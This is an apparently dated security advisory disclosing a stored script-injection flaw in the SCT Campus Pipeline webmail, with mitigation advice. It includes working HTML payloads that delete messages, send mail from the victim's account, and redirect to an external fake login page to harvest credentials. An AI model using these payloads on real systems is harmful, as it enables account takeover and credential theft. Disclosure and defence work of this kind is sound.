Vendor  : SCT
URL     :

Version : CampusPipeline
Risk    : javascript execution

Description: SCT Campus Pipeline is the Web platform of choice at over 175 
institutions. It improves efficiency, builds community, and provides freedom 
of choice by integrating disparate systems and applications into a unified 
whole. SCT Campus Pipeline provides an institutionð..ðs constituents ð!.ð 
students, faculty, administration, and alumni ð!.ð with centralized Web access 
to information, services, and communities.

Javascript Execution: The email handling portion of this software displays 
certain attachments such as; html, bmp. Jpg, gif, etc, in the body of the 
email. It does a noble job of filtering scripting in html files but certain 
on event handles remain untouched such as: onload(), onmouseover(), 
onclick(), etc. This is a huge issue seeing as the html page is logged in 
with the same permissions as the user who views it. The software also uses 
javascript functions for all of its commands. This allows an hmlt page 
execute any command such as deletemessage() from <body 
onload=ð..ðdeletemessage()ð..ð> . This such instance will delete the email with 
that html attached to it. When linked to another page with <body 
onload=ð..ðlocation.replace(ð..ðsiteð..ð)ð..ð> u can execute as much javascript, or any 
other scripting method as you would like. This hole leads to an attached 
html having full control over the victims email account just by the victim 
viewing the email. Because the attacker would have the users session still 
set, he could potentially execute any command this software uses, such as 
check grades etcð8.ð

Solution: The easiest way would be to just disallow previewing of 
attachments. No other web email service allows this, and for good reason. 
Another solution would be to filter all onevent handles such as onload(), 
onmouseover(), onclick(), etc.

Credits: Credits goto http://hackthissite.org. It provided a nice, open, 
legal environment for me to try new things and learn from those who know. A 
place where you are not reprimanded even if u deface a page or two. A place 
where I started with no knowledge and in less than a year found new 
vulnerabilities of my own. Thank you http://hackthissite.org. Lab rats: 
Ashley, Amy, Nick, Shrinidhi, Charbel and most importantly to Halley, you 
give me the strength and courage to do all that I do, without you I am 
nothing. Thank you sweetheart.

Exploit: This exemplifies three different onevent handles used:
<html>
<body onload="alert('load')">
<img src="http://www.hackthissite.org/avatars/hts.jpg" 
onmouseover="alert('mouse')">;
<img src="http://www.hackthissite.org/avatars/hts.jpg" 
onclick="alert('clicked')">;
</body>
</html>

This exploit will delete the current message:
<html><body onload=ð..ðdeleteMessage()ð..ð></body><html>

This exploit will open a new email message with your desired:
<html><body 
onload="location.replace('http://website.com/cp/email/composeBody?function=new&to=Spiffomatic64@hotmail.com&subject=I 
love you matt&body=I was owned by matt')"></body></html>

Creating a fake session timeout screen with login could also be a problem as 
shown here:
<html><body 
onload="location.replace('http://hackthissite.org/userfiles/spiffomatic64/logoutpage.html')"></body></html>
